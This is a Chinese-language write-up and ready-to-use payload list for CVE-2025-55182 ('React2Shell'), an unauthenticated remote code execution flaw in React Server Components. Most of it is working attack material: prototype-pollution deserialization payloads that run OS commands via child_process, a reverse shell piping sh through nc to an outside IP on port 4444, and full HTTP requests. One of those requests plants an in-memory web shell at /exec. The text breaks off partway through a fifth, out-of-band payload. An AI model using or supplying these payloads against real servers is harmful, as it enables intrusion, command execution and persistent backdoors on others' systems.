React2Shell 漏洞 - CVE-2025-55182 📓

简介

该漏洞名为 React2Shell，于2025年12月被发现，影响 next.js 的组件，CVSS评分为 10.0。通过一个简单的 POST 请求，即可实现未经身份验证的严重远程代码执行（RCE）。以下是受该漏洞影响的版本。

受影响的版本 -> 19.0, 19.1.0, 19.1.1, 19.2.0

• 该漏洞影响以下组件
  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

概念验证 (PoC) ⚠️

CVE-2025-55182 本质上是一个不安全的反序列化漏洞，存在于 React Server 组件处理传入的 Flight 协议负载的方式中。该漏洞存在于 react-server-dom-webpack 包中的 requireModule 函数内。示例：

function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 ...  
 return moduleExports[metadata[2]];  // Vunl 
}  

以下是此漏洞利用的一个示例载荷。

1. 访问 process.mainModule（正在执行的主模块）
2. 使用其 require 方法加载 child_process 模块
3. 调用 execSync 执行操作系统命令
4. 运行命令 ID。

{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\"then\\":\\"$B9999\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('id');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}

现在我们来尝试复现这个载荷。

包含反弹 shell 的载荷。

"_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 1.1.1.1 4444 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",

载荷列表 🔥

以下是在探索应用程序时可以使用的载荷列表。

• 载荷 1

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 578

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('id');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

• 载荷 2 - 运行时内存 Shell

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 1176

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

• 载荷 3

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

• 载荷 4 - 响应头中的输出

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 689

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

• 载荷 5 - DNS 交互 / 带外

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 689

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"